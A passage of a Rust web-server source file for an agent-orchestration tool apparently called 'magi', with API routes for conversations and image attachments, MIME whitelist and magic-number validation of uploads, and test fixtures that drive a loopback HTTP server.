7046        let id = id.clone();
7047        blocking(move || Ok(ui.talks.get(&id)?)).await
7048    };
7049    let draining = match fresh {
7050        Ok(talk) => {
7051            let draining = talk.status.open()
7052                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7053            let talks = ui.talks.clone();
7054            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7055            draining
7056        }
7057        Err(_) => false,
7058    };
7059    let talk = switched?;
7060    Ok(Json(TalkView::new(talk, draining)))
7061}
7062
7063/// The body of `POST /api/talks/{id}/implementers`.
7064#[derive(Debug, Deserialize)]
7065struct TalkImplementers {
7066    implementers: u8,
7067}
7068
7069/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
7070/// like [`talk_agent`]: the turn guard is held for the change and always handed
7071/// to `drain_loop`, so a draft left meanwhile is not stranded.
7072async fn talk_implementers(
7073    State(ui): State<Arc<Ui>>,
7074    Path(id): Path<String>,
7075    Json(body): Json<TalkImplementers>,
7076) -> ApiResult<Json<TalkView>> {
7077    let id = {
7078        let ui = Arc::clone(&ui);
7079        blocking(move || resolve_talk(&ui.talks, &id)).await?
7080    };
7081    let repo = {
7082        let ui = Arc::clone(&ui);
7083        let id = id.clone();
7084        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7085    };
7086    let cfg = config_for(&repo).await?;
7087    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7088        return Err(ApiError::conflict(
7089            "a talk turn is running; change the implementers once it has answered",
7090        ));
7091    };
7092    let switched = {
7093        let ui = Arc::clone(&ui);
7094        let id = id.clone();
7095        let cfg = cfg.clone();
7096        blocking(move || {
7097            let chosen =
7098                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
7099            let mut talk = ui.talks.get(&id)?;
7100            if !talk.status.open() {
7101                return Err(ApiError::conflict(format!(
7102                    "talk {} is {} and takes no more turns",
7103                    talk.short(),
7104                    talk.status.as_str()
7105                )));
7106            }
7107            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
7108            Ok(talk)
7109        })
7110        .await
7111    };
7112    // As in `talk_agent`: the claim goes to `drain_loop` whatever happened.
7113    let fresh = {
7114        let ui = Arc::clone(&ui);
7115        let id = id.clone();
7116        blocking(move || Ok(ui.talks.get(&id)?)).await
7117    };
7118    let draining = match fresh {
7119        Ok(talk) => {
7120            let draining = talk.status.open()
7121                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
7122            let talks = ui.talks.clone();
7123            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7124            draining
7125        }
7126        Err(_) => false,
7127    };
7128    let talk = switched?;
7129    Ok(Json(TalkView::new(talk, draining)))
7130}
7131
7132/// `POST /api/talks/{id}/close`.
7133async fn talk_close(
7134    State(ui): State<Arc<Ui>>,
7135    Path(id): Path<String>,
7136) -> ApiResult<Json<TalkView>> {
7137    blocking(move || {
7138        let id = resolve_talk(&ui.talks, &id)?;
7139        let mut talk = ui.talks.get(&id)?;
7140        talk::close(&mut talk, &ui.talks)?;
7141        let thinking = ui.is_thinking(&talk.id);
7142        Ok(Json(TalkView::new(talk, thinking)))
7143    })
7144    .await
7145}
7146
7147/// `POST /api/talks/{id}/reopen`.
7148async fn talk_reopen(
7149    State(ui): State<Arc<Ui>>,
7150    Path(id): Path<String>,
7151) -> ApiResult<Json<TalkView>> {
7152    blocking(move || {
7153        let id = resolve_talk(&ui.talks, &id)?;
7154        let mut talk = ui.talks.get(&id)?;
7155        talk::reopen(&mut talk, &ui.talks)?;
7156        let thinking = ui.is_thinking(&talk.id);
7157        Ok(Json(TalkView::new(talk, thinking)))
7158    })
7159    .await
7160}
7161
7162/// `DELETE /api/talks/{id}`.
7163///
7164/// Removes the conversation's record and artifacts outright, unlike
7165/// [`talk_close`] which keeps the record as history. A turn already in
7166/// flight is not refused here the way [`run_delete`] refuses a live run:
7167/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
7168/// under [`Talks::guard`], that the record they are about to write back is
7169/// still there, so a delete racing a turn is safe without this route having
7170/// to know a turn is running at all.
7171async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7172    blocking(move || {
7173        let id = resolve_talk(&ui.talks, &id)?;
7174        ui.talks.remove(&id)?;
7175        Ok(StatusCode::NO_CONTENT)
7176    })
7177    .await
7178}
7179
7180/// Expand an id or short id to exactly one talk id.
7181fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
7182    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
7183}
7184
7185/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
7186/// future `talk-say`.
7187async fn talk_attachment_post(
7188    State(ui): State<Arc<Ui>>,
7189    Path(id): Path<String>,
7190    headers: HeaderMap,
7191    body: Bytes,
7192) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
7193    let mime = validate_attachment(&headers, &body)?;
7194    let name = filename_header(&headers);
7195    let data = body.to_vec();
7196    blocking(move || {
7197        let id = resolve_talk(&ui.talks, &id)?;
7198        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
7199        Ok((StatusCode::CREATED, Json(att)))
7200    })
7201    .await
7202}
7203
7204/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
7205/// `<img>` tag in the transcript.
7206async fn talk_attachment_get(
7207    State(ui): State<Arc<Ui>>,
7208    Path((id, att)): Path<(String, String)>,
7209) -> ApiResult<Response> {
7210    blocking(move || {
7211        let id = resolve_talk(&ui.talks, &id)?;
7212        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7213            return Err(ApiError::not_found(format!(
7214                "talk {id} has no attachment `{att}`"
7215            )));
7216        };
7217        Ok(attachment_response(&meta.mime, data))
7218    })
7219    .await
7220}
7221
7222/// Validate an attachment upload's declared `Content-Type` and the bytes
7223/// themselves, returning the canonical mime on success.
7224///
7225/// Two checks, both required: the header has to name one of
7226/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
7227/// simply never in the list, active content rather than a picture, the same
7228/// exclusion [`asset_content_type`]'s doc explains), and the file's own
7229/// magic number has to agree. The second is what stops a mislabeled upload -
7230/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
7231/// a declared type is a claim, not a fact, so it is never trusted alone.
7232fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7233    if data.len() > ATTACHMENT_MAX_BYTES {
7234        return Err(ApiError::bad_request(format!(
7235            "attachment is {} bytes, over the {} MiB limit",
7236            data.len(),
7237            ATTACHMENT_MAX_BYTES / (1024 * 1024)
7238        ))
7239        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7240    }
7241    if data.is_empty() {
7242        return Err(ApiError::bad_request("attachment is empty"));
7243    }
7244    let declared = declared_mime(headers)?;
7245    match sniffed_mime(data) {
7246        Some(sniffed) if sniffed == declared => Ok(declared),
7247        Some(sniffed) => Err(ApiError::bad_request(format!(
7248            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7249        ))),
7250        None => Err(ApiError::bad_request(
7251            "the file's bytes do not match any accepted image format",
7252        )),
7253    }
7254}
7255
7256/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
7257/// and nothing else - parameters like `; charset=` are stripped, but the
7258/// value itself is not otherwise interpreted.
7259fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7260    let raw = headers
7261        .get(header::CONTENT_TYPE)
7262        .and_then(|v| v.to_str().ok())
7263        .unwrap_or("")
7264        .split(';')
7265        .next()
7266        .unwrap_or("")
7267        .trim()
7268        .to_ascii_lowercase();
7269    ATTACHMENT_MIME_WHITELIST
7270        .iter()
7271        .find(|&&m| m == raw)
7272        .copied()
7273        .ok_or_else(|| {
7274            if raw == "image/svg+xml" {
7275                ApiError::bad_request(
7276                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
7277                     not just a picture",
7278                )
7279            } else if raw.is_empty() {
7280                ApiError::bad_request("Content-Type is required for an attachment upload")
7281            } else {
7282                ApiError::bad_request(format!(
7283                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7284                     image/gif or image/webp"
7285                ))
7286            }
7287        })
7288}
7289
7290/// Identify an image by its magic number, independent of whatever
7291/// `Content-Type` claimed.
7292fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7293    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7294        Some("image/png")
7295    } else if data.starts_with(b"\xff\xd8\xff") {
7296        Some("image/jpeg")
7297    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7298        Some("image/gif")
7299    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7300        Some("image/webp")
7301    } else {
7302        None
7303    }
7304}
7305
7306/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
7307/// display - see [`talk::Attachment::name`]'s doc on why it never
7308/// contributes to a path. A missing or blank header (curl without it, an
7309/// older front end) falls back to a generic name rather than refusing the
7310/// upload over a field that is cosmetic.
7311fn filename_header(headers: &HeaderMap) -> String {
7312    headers
7313        .get(FILENAME_HEADER)
7314        .and_then(|v| v.to_str().ok())
7315        .map(str::trim)
7316        .filter(|s| !s.is_empty())
7317        .unwrap_or("attachment")
7318        .to_owned()
7319}
7320
7321/// Every attachment `GET` response: the mime re-validated against the same
7322/// closed whitelist the upload route enforces - never the string trusted
7323/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
7324/// cannot decide it knows better than the type we send. Unlike a panel asset
7325/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
7326/// document renders inline, not agent-authored HTML in a sandboxed frame.
7327fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7328    let content_type = ATTACHMENT_MIME_WHITELIST
7329        .iter()
7330        .find(|&&m| m == mime)
7331        .copied()
7332        .unwrap_or("application/octet-stream");
7333    (
7334        [
7335            (header::CONTENT_TYPE, content_type),
7336            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7337        ],
7338        body,
7339    )
7340        .into_response()
7341}
7342
7343/// The configuration for a repository, read off the disk for this request.
7344///
7345/// Through [`blocking`] because discovery reads and merges several TOML files,
7346/// and because the alternative - caching it in [`Ui`] at startup - would mean
7347/// the operator's phone kept interviewing with a roster they had already
7348/// changed, with no way to reload it but restarting the server they are not
7349/// sitting in front of.
7350async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7351    let repo = repo.to_path_buf();
7352    blocking(move || {
7353        let (cfg, _) = Config::discover(&repo, None)?;
7354        Ok(cfg)
7355    })
7356    .await
7357}
7358
7359/// The one prefix rule, used for both runs and tasks: a leading match for a
7360/// full id, a trailing match for the short form an operator reads off a
7361/// report. Written here rather than borrowed from `queue::resolve_id` because
7362/// the UI needs the two failures as different status codes, and telling them
7363/// apart from an error message is not something to build a route on.
7364fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7365    let mut hits = ids
7366        .into_iter()
7367        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7368    match (hits.next(), hits.next()) {
7369        (Some(one), None) => Ok(one),
7370        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7371        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7372            "`{prefix}` matches more than one {what}, including {a} and {b}"
7373        ))),
7374    }
7375}
7376
7377#[cfg(test)]
7378mod tests {
7379
7380    #[test]
7381    fn holder_reads_the_lease_not_the_record() {
7382        let mut q = Question::new(
7383            "run".to_owned(),
7384            "implement".to_owned(),
7385            "impl-A".to_owned(),
7386            "which?".to_owned(),
7387            String::new(),
7388            Vec::new(),
7389        );
7390        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7391        q.cwd = Some("/tmp".to_owned());
7392        assert_eq!(holder_of(&q, None), Some("nobody"));
7393        let beat = |kind, ago: i64| ask::Lease {
7394            kind,
7395            pid: 1,
7396            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7397                .unwrap(),
7398        };
7399        let fresh = beat(ask::WaiterKind::Asker, 1);
7400        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7401        let daemon = beat(ask::WaiterKind::Daemon, 1);
7402        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7403        let stale = beat(ask::WaiterKind::Asker, 3600);
7404        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7405
7406        // A conductor question says "deputy" only while one is attached and
7407        // alive, and "nobody" - never silence - when nothing ever listened.
7408        let mut c = Question::new(
7409            "task".to_owned(),
7410            crate::conduct::NODE.to_owned(),
7411            "conduct".to_owned(),
7412            "which?".to_owned(),
7413            String::new(),
7414            Vec::new(),
7415        );
7416        assert_eq!(holder_of(&c, None), Some("nobody"));
7417        c.cwd = Some("/tmp".to_owned());
7418        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7419        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7420        let deputy = beat(ask::WaiterKind::Deputy, 1);
7421        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7422        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7423
7424        // A release-watch question: nobody until a deputy is attached.
7425        let mut r = Question::new(
7426            String::new(),
7427            crate::bump::NOTICE_NODE.to_owned(),
7428            "release-watch".to_owned(),
7429            "stuck?".to_owned(),
7430            String::new(),
7431            vec!["hold".to_owned()],
7432        );
7433        assert_eq!(holder_of(&r, None), Some("nobody"));
7434        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7435        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7436        // A choice-less bump notice is nobody's question at all.
7437        r.deputy = None;
7438        r.seat = "bump".to_owned();
7439        assert_eq!(holder_of(&r, None), None);
7440
7441        // A merge approval is the same: nobody until a deputy is attached
7442        // and alive, never a silent "no holder".
7443        let mut m = Question::new(
7444            "run".to_owned(),
7445            crate::land::APPROVAL_NODE.to_owned(),
7446            "land".to_owned(),
7447            "merge?".to_owned(),
7448            String::new(),
7449            Vec::new(),
7450        );
7451        assert_eq!(holder_of(&m, None), Some("nobody"));
7452        assert_eq!(
7453            holder_of(&m, Some(&fresh)),
7454            Some("nobody"),
7455            "a lease with no deputy is not a listener"
7456        );
7457        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7458        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7459        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7460        assert_eq!(holder_of(&m, None), Some("nobody"));
7461    }
7462
7463    fn stub_config() -> Config {
7464        // An explicit roster, so the result never depends on which agent CLIs
7465        // this machine has installed.
7466        Config {
7467            agents: vec![crate::config::AgentSpec {
7468                id: "stub".to_owned(),
7469                kind: AgentKind::Command,
7470                model: None,
7471                command: vec!["true".to_owned()],
7472                extra_args: Vec::new(),
7473                env: Default::default(),
7474                prompt_delivery: None,
7475            }],
7476            ..Config::default()
7477        }
7478    }
7479
7480    fn plain_question(seat: &str) -> Question {
7481        Question::new(
7482            String::new(),
7483            "n".to_owned(),
7484            seat.to_owned(),
7485            "s".to_owned(),
7486            String::new(),
7487            Vec::new(),
7488        )
7489    }
7490
7491    #[test]
7492    fn deputies_enabled_follows_the_config() {
7493        let on = stub_config();
7494        assert!(crate::deputy::can_start(Some(&on), ""));
7495        assert!(crate::deputy::can_start(Some(&on), "stub"));
7496        let mut off = on.clone();
7497        off.daemon.max_deputies = 0;
7498        assert!(!crate::deputy::can_start(Some(&off), ""));
7499        let mut empty = on;
7500        empty.agents.clear();
7501        assert!(!crate::deputy::can_start(Some(&empty), ""));
7502        assert!(!crate::deputy::can_start(None, ""));
7503    }
7504
7505    #[test]
7506    fn question_views_load_the_config_once() {
7507        let dir = TempDir::new().unwrap();
7508        let store = ask::Questions::at(dir.path().to_path_buf());
7509        let mut with_deputy = plain_question("b");
7510        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7511        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7512
7513        let calls = std::cell::Cell::new(0usize);
7514        let views = question_views(qs.clone(), &store, || {
7515            calls.set(calls.get() + 1);
7516            Some(stub_config())
7517        });
7518        assert_eq!(calls.get(), 1);
7519        assert_eq!(views.len(), 3);
7520        for (v, q) in views.iter().zip(&qs) {
7521            assert_eq!(
7522                v.deputies_enabled,
7523                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7524            );
7525        }
7526
7527        let views = question_views(qs, &store, || None);
7528        assert!(views.iter().all(|v| !v.deputies_enabled));
7529
7530        let calls = std::cell::Cell::new(0usize);
7531        let views = question_views(Vec::new(), &store, || {
7532            calls.set(calls.get() + 1);
7533            None
7534        });
7535        assert!(views.is_empty());
7536        assert_eq!(calls.get(), 0);
7537    }
7538
7539    use pretty_assertions::assert_eq;
7540    use serde_json::Value;
7541    use tempfile::TempDir;
7542    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7543
7544    use super::*;
7545    use crate::config::Config;
7546    use crate::queue::Source;
7547
7548    /// How many 10ms steps a settle loop takes before it calls a stall a
7549    /// stall - thirty seconds.
7550    ///
7551    /// These loops wait on real `sh` subprocesses, and the machine that runs
7552    /// the gate runs several suites at once, so a two-second budget was not
7553    /// waiting for the reply, it was racing the scheduler: two of these
7554    /// tests failed under that load with the turn simply not landed yet.
7555    /// This is a hang guard, not a latency assertion - every loop breaks the
7556    /// moment its condition holds, so a generous cap costs an idle machine
7557    /// nothing and still fails a genuine hang instead of hanging the suite.
7558    const SETTLE_STEPS: usize = 3_000;
7559
7560    /// A home with a queue and a runs directory, and a router serving it on
7561    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
7562    /// dependency, not ours - so the tests drive a real socket, which has the
7563    /// side benefit of asserting the status line and content types the phone
7564    /// actually receives.
7565    struct Fixture {
7566        home: TempDir,
7567        addr: SocketAddr,
7568    }
7569
7570    impl Fixture {
7571        async fn start() -> Self {
7572            Self::with_loop(launch_idle).await
7573        }
7574
7575        /// A fixture whose loop is `launch`.
7576        async fn with_loop(launch: Launch) -> Self {
7577            let home = TempDir::new().expect("temp home");
7578            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7579            Self { home, addr }
7580        }
7581
7582        /// A fixture whose `ui.repo` is a real directory rather than the
7583        /// usual placeholder - for the routes that read config off it
7584        /// (`GET /api/repos`) and would otherwise have nothing to discover.
7585        async fn with_repo(repo: PathBuf) -> Self {
7586            let home = TempDir::new().expect("temp home");
7587            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7588            Self { home, addr }
7589        }
7590
7591        /// As [`Fixture::with_repo`], with the machine-config file the
7592        /// settings screen reads and writes.
7593        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7594            let home = TempDir::new().expect("temp home");
7595            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7596            Self { home, addr }
7597        }
7598
7599        async fn serve(
7600            home: &FsPath,
7601            repo: PathBuf,
7602            launch: Launch,
7603            machine: Option<PathBuf>,
7604        ) -> SocketAddr {
7605            let queue = Queue::at(home.join("queue"));
7606            let runs = home.join("runs");
7607            std::fs::create_dir_all(&runs).expect("runs dir");
7608            let worktrees = home.join("wt").join("magi");
7609            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7610            let ui = Ui::new(
7611                queue,
7612                Questions::at(home.join("questions")),
7613                Talks::at(home.join("talks")),
7614                runs,
7615                home.to_path_buf(),
7616                repo,
7617            )
7618            .with_worktrees_root(worktrees)
7619            .with_machine_config(machine)
7620            .with_launch(launch);
7621            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7622                .await
7623                .expect("bind loopback");
7624            let addr = listener.local_addr().expect("local addr");
7625            tokio::spawn(async move {
7626                let _ = axum::serve(listener, ui.router()).await;
7627            });
7628            addr
7629        }
7630
7631        fn queue(&self) -> Queue {
7632            Queue::at(self.home.path().join("queue"))
7633        }
7634
7635        fn questions(&self) -> Questions {
7636            Questions::at(self.home.path().join("questions"))
7637        }
7638
7639        fn talks(&self) -> Talks {
7640            Talks::at(self.home.path().join("talks"))
7641        }
7642
7643        fn runs(&self) -> PathBuf {
7644            self.home.path().join("runs")
7645        }
7646
7647        async fn get(&self, path: &str) -> Res {
7648            request(self.addr, "GET", path, None).await
7649        }
7650
7651        /// The status and headers without the body, which is how the front end
7652        /// preflights a panel: a sandboxed frame is opaque to the parent
7653        /// document, so the only way to tell "no panel" from "a panel that
7654        /// rendered blank" is to ask before mounting.
7655        async fn head(&self, path: &str) -> Res {
7656            request(self.addr, "HEAD", path, None).await
7657        }
7658
7659        async fn post(&self, path: &str, body: Option<&str>) -> Res {
7660            request(self.addr, "POST", path, body).await
7661        }
7662
7663        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7664            request_with(self.addr, "GET", path, None, extra).await
7665        }
7666
7667        async fn delete(&self, path: &str) -> Res {
7668            request(self.addr, "DELETE", path, None).await
7669        }
7670
7671        async fn put(&self, path: &str, body: &str) -> Res {
7672            request(self.addr, "PUT", path, Some(body)).await
7673        }
7674
7675        /// `POST` a raw body with its own headers - see [`request_bytes`].
7676        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7677            request_bytes(self.addr, path, headers, body).await
7678        }
7679    }
7680
7681    struct Res {
7682        status: u16,
7683        headers: String,
7684        /// The header block with its original casing, for the assertions that
7685        /// compare a header *value* rather than looking for a name. Lowercasing
7686        /// a CSP would hide a directive spelled with a capital letter, and the
7687        /// whole point of that test is that the string is exactly right.
7688        head: String,
7689        body: String,
7690        /// The body before any UTF-8 handling, for the routes that serve
7691        /// something other than text. A panel asset is a PNG as often as not,
7692        /// and `from_utf8_lossy` would silently replace half of it.
7693        bytes: Vec<u8>,
7694    }
7695
7696    impl Res {
7697        fn json(&self) -> Value {
7698            serde_json::from_str(&self.body)
7699                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7700        }
7701
7702        /// One header's value verbatim, or `None` when it was not sent.
7703        fn header(&self, name: &str) -> Option<&str> {
7704            self.head.lines().find_map(|line| {
7705                let (key, value) = line.split_once(':')?;
7706                key.trim()
7707                    .eq_ignore_ascii_case(name)
7708                    .then(|| value.trim_start().trim_end_matches('\r'))
7709            })
7710        }
7711    }
7712
7713    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
7714    /// be read to end-of-stream without parsing framing.
7715    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7716        request_with(addr, method, path, body, &[]).await
7717    }
7718
7719    /// As [`request`], with extra request headers - conditional GETs need
7720    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
7721    /// worse than one that sets none.
7722    async fn request_with(
7723        addr: SocketAddr,
7724        method: &str,
7725        path: &str,
7726        body: Option<&str>,
7727        extra: &[(&str, &str)],
7728    ) -> Res {
7729        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7730        for (name, value) in extra {
7731            head.push_str(&format!("{name}: {value}\r\n"));
7732        }
7733        if let Some(body) = body {
7734            head.push_str("Content-Type: application/json\r\n");
7735            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7736        }
7737        head.push_str("\r\n");
7738        if let Some(body) = body {
7739            head.push_str(body);
7740        }
7741        let mut socket = tokio::net::TcpStream::connect(addr)
7742            .await
7743            .expect("connect to the test server");
7744        socket
7745            .write_all(head.as_bytes())
7746            .await
7747            .expect("write request");
7748        let mut raw = Vec::new();
7749        socket.read_to_end(&mut raw).await.expect("read response");
7750        // Split on the raw bytes rather than on a lossy string, so a binary
7751        // body survives to be compared byte for byte.
7752        let split = raw
7753            .windows(4)
7754            .position(|w| w == b"\r\n\r\n")
7755            .expect("a header block");
7756        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7757        let bytes = raw[split + 4..].to_vec();
7758        let status = head
7759            .lines()
7760            .next()
7761            .and_then(|line| line.split_whitespace().nth(1))
7762            .and_then(|code| code.parse().ok())
7763            .expect("a status line");
7764        Res {
7765            status,
7766            headers: head.to_lowercase(),
7767            head,
7768            body: String::from_utf8_lossy(&bytes).into_owned(),
7769            bytes,
7770        }
7771    }
7772
7773    /// A `POST` carrying a raw binary body and its own headers, for the
7774    /// attachment upload route - `request_with` only ever sends
7775    /// `Content-Type: application/json`, which is wrong for an image and
7776    /// would corrupt anything not valid UTF-8 by round-tripping it through
7777    /// `&str` first.
7778    async fn request_bytes(
7779        addr: SocketAddr,
7780        path: &str,
7781        headers: &[(&str, &str)],
7782        body: &[u8],
7783    ) -> Res {
7784        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7785        for (name, value) in headers {
7786            head.push_str(&format!("{name}: {value}\r\n"));
7787        }
7788        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7789        let mut socket = tokio::net::TcpStream::connect(addr)
7790            .await
7791            .expect("connect to the test server");
7792        socket
7793            .write_all(head.as_bytes())
7794            .await
7795            .expect("write request head");
7796        socket.write_all(body).await.expect("write request body");
7797        let mut raw = Vec::new();
7798        socket.read_to_end(&mut raw).await.expect("read response");
7799        let split = raw
7800            .windows(4)
7801            .position(|w| w == b"\r\n\r\n")
7802            .expect("a header block");
7803        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7804        let bytes = raw[split + 4..].to_vec();
7805        let status = head
7806            .lines()
7807            .next()
7808            .and_then(|line| line.split_whitespace().nth(1))
7809            .and_then(|code| code.parse().ok())
7810            .expect("a status line");
7811        Res {
7812            status,
7813            headers: head.to_lowercase(),
7814            head,
7815            body: String::from_utf8_lossy(&bytes).into_owned(),
7816            bytes,
7817        }
7818    }
7819
7820    /// A run on disk, without touching the process-global magi home.
7821    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7822        let mut state = RunState::new(
7823            PathBuf::from("/repo/magi"),
7824            "main".to_owned(),
7825            "0123456789abcdef".to_owned(),
7826            "Add a web UI\n\nMobile first.".to_owned(),
7827            Config::default(),
7828        );
7829        state.id = id.to_owned();
7830        state.status = status;
7831        let dir = runs.join(id);
7832        std::fs::create_dir_all(&dir).expect("run dir");
7833        std::fs::write(
7834            dir.join("run.json"),
7835            serde_json::to_string_pretty(&state).expect("serialize run"),
7836        )
7837        .expect("write run.json");
7838    }
7839
7840    /// Same as [`write_run`], but against a named repository rather than the
7841    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
7842    /// spread across more than one.
7843    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7844        let mut state = RunState::new(
7845            PathBuf::from(repo),
7846            "main".to_owned(),
7847            "0123456789abcdef".to_owned(),
7848            "task".to_owned(),
7849            Config::default(),
7850        );
7851        state.id = id.to_owned();
7852        state.status = status;
7853        let dir = runs.join(id);
7854        std::fs::create_dir_all(&dir).expect("run dir");
7855        std::fs::write(
7856            dir.join("run.json"),
7857            serde_json::to_string_pretty(&state).expect("serialize run"),
7858        )
7859        .expect("write run.json");
7860    }
7861
7862    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7863        let body = serde_json::json!({
7864            "schema": 1,
7865            "pid": 4242,
7866            "started_at": Timestamp::now().to_string(),
7867            "updated_at": updated_at.to_string(),
7868            "idle": false,
7869            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7870            "completed": 7,
7871            "polls": 143,
7872        });
7873        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7874    }
7875
7876    /// A loop that starts, finds nothing to do, and waits to be told to stop.
7877    ///
7878    /// No test in this file may start the real loop - see [`Ui::launch`] for
7879    /// why - so this stands in for the only thing the routes need a loop to
7880    /// do: keep running until `Stop` is set, then return. A real
7881    /// `serve_until` here would resolve its queue and its status file through
7882    /// the process-global magi home, claim whatever it found in the
7883    /// operator's live backlog, overwrite the status file of the `magi serve`
7884    /// that owns it, and spend real agent quota on a real competition.
7885    fn launch_idle(
7886        _opts: daemon::Opts,
7887        stop: daemon::Stop,
7888    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7889        Box::pin(async move {
7890            while !stop.stopped() {
7891                tokio::time::sleep(Duration::from_millis(2)).await;
7892            }
7893            Ok(())
7894        })
7895    }
7896
7897    /// A loop that fails on the way up, the way one whose home has gone
7898    /// read-only does.
7899    fn launch_broken(
7900        _opts: daemon::Opts,
7901        _stop: daemon::Stop,
7902    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7903        // The stand-in dies instantly, so a restarted one can record its own
7904        // failure before the start's response is read. The second attempt
7905        // therefore fails with a different message, to tell a stale error
7906        // from a fresh one.
7907        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7908        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7909        Box::pin(async move {
7910            Err(anyhow::anyhow!(if first {
7911                "publish the daemon status file: read-only file system"
7912            } else {
7913                "the restarted stand-in failed as well"
7914            }))
7915        })
7916    }
7917
7918    /// The address the parking loop knocks on, and what it heard there.
7919    ///
7920    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
7921    /// capture a fixture's address; this is how it is handed one. Only
7922    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
7923    /// these, so nothing else in this binary can race them.
7924    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7925    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7926
7927    /// A loop that, once it is asked to stop, checks the deck still answers
7928    /// before it goes.
7929    ///
